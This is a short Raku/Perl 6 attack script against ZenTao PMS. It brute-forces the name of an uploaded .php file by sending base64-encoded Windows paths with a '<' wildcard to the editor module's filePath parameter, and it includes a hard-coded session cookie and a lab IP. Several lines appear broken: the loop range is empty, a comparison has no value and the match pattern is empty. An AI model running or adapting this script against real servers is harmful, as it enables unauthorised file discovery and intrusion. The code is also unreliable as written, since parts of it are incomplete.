禅道CMS 获文件名脚本

use Net::HTTP::GET;
use Base64;

my %header   = :Cookie<lang=zh-cn; theme=default; lastProduct=; windowWidth=; windowHeight=; sid=jg9g2mk5kmru46lmd3g2evoc87>;
#my $response = Net::HTTP::GET("http://172.16.57.128/zentaopms/www/index.php?m=editor&f=edit&filePath=YzpccGhwc3R1ZHlcV1dXXHplbnRhb3Btc1x3d3dcZGF0YVx1cGxvYWRcMVwyMDE4MDFcMDwucG5n&action=override&isExtends=", :%header);
#say so $response.content :force ~~ /201801/;
my $url = 'http://172.16.57.128/zentaopms/www/index.php?m=editor&f=edit&filePath=';
my $end_url = '&action=override&isExtends=';

my @check_chars = |('a'..'z'),|('0'..'9');
#保存文 件名 16位
my @filename;

for .. -> $length {
  say "------->$length";

      for @check_chars -> $swap_char {
              my $target;
              my $char = @filename.join('')~$swap_char;
              say $char;
              #sleep(2);
              if $char.chars ==  {
                $target = $url~encode-base64('c:\phpstudy\WWW\zentaopms\www\data\upload\1\201801\\'~$char~'.php',:str)~$end_url;
              } else {
                $target = $url~encode-base64('c:\phpstudy\WWW\zentaopms\www\data\upload\1\201801\\'~$char~'<.php',:str)~$end_url;
                #>
                #>>>>>>>>>
                # a+('>' x 15).php => a>>>>>>>>>>>>>>>.cellspacing
                #a*.png =>
              }
              #sleep(1);
              say $target;
              #sleep(2);
              my $html = Net::HTTP::GET($target, :%header);

              if so $html.content :force ~~ // {
                  @filename.append($swap_char);
                  last;
              }

      }
}
say "Found -----> "~@filename.join('');